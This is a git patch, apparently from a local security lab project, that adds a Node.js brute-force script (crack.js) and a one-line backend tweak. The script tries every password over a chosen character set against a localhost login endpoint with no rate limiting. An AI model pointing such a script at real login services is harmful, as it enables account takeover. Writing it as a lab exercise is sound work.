From 13121faa636cb0b2f32700c871939b4be3c24317 Mon Sep 17 00:00:00 2001 From: fretuks Date: Wed, 24 Sep 2025 11:41:28 +0200 Subject: [PATCH] Add brute-force attack script and adjust backend login response handling --- attacks/crack.js | 87 +++++++++++++++++++++++++++++++++++++++++++++++ public/Backend.js | 1 + 2 files changed, 88 insertions(+) create mode 100644 attacks/crack.js diff --git a/attacks/crack.js b/attacks/crack.js new file mode 100644 index 0000000..0db1fe6 --- /dev/null +++ b/attacks/crack.js @@ -0,0 +1,87 @@ +function usage() { + console.log('Usage: node crack.js '); + console.log(' charset: digits | lower | upper'); + process.exit(1); +} + +if (process.argv.length < 4) usage(); + +const USERNAME = process.argv[2]; +const CHARSET_NAME = process.argv[3]; +const MAXLEN = parseInt(process.argv[4], 10); + +let CHARS = ''; +if (CHARSET_NAME === 'chars') CHARS = '0123456789'; +else if (CHARSET_NAME === 'lower') CHARS = 'abcdefghijklmnopqrstuvwxyz'; +else if (CHARSET_NAME === 'upper') CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; +else { + console.error('Unknown charset:', CHARSET_NAME); + usage(); +} + + +console.log(`Target user: ${USERNAME}, charset=${CHARSET_NAME}, maxlen=${MAXLEN}`); +console.log('Starting local-only brute-force (Node). Stop with Ctrl+C.'); + +let found = false; + +async function tryCandidate(candidate) { + const url = "http://localhost:3000/login"; + console.log(`Trying candidate (masked): ${candidate.replace(/.(?=.{2})/g, '*')}`); // mask except last 2 chars + + const body = {username: USERNAME, password: candidate}; // lowercase keys (match server) + try { + const resp = await fetch(url, { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(body) + }); + + if (resp.status === 200) { + console.log(`Found: ${candidate}`); + found = true; + return true; + } else if (resp.status === 401) { + return false; + } else { + // unexpected response + const text = await resp.text().catch(() => ''); + console.warn('Unexpected response', resp.status, text); + return false; + } + } catch (err) { + console.error('Network/error:', err.message); + return false; + } +} + +async function generateAndTest(chars, maxlen) { + for (let len = 1; len <= maxlen; len++) { + const idx = new Array(len).fill(0); + while (true) { + const candidate = idx.map(i => chars[i]).join(''); + await tryCandidate(candidate); + if (found) return; + let pos = len - 1; + while (pos >= 0) { + idx[pos]++; + if (idx[pos] < chars.length) break; + idx[pos] = 0; + pos--; + } + if (pos < 0) break; + } + } +} + +generateAndTest(CHARS.split(''), MAXLEN) + .then(() => { + if (!found) { + console.log('No match found within given limits.'); + process.exit(1); + } + }) + .catch(err => { + console.error('ERROR', err); + process.exit(2); + }); diff --git a/public/Backend.js b/public/Backend.js index 7ea28e1..726f950 100644 --- a/public/Backend.js +++ b/public/Backend.js @@ -10,6 +10,7 @@ app.post('/login', (req, res) => { const {username, password} = req.body; const user = users.find(u => u.username === username && u.password === password); if (user) { + res.status(200); res.send('Login erfolgreich'); } else { res.status(401).send('Falscher Benutzername oder Passwort');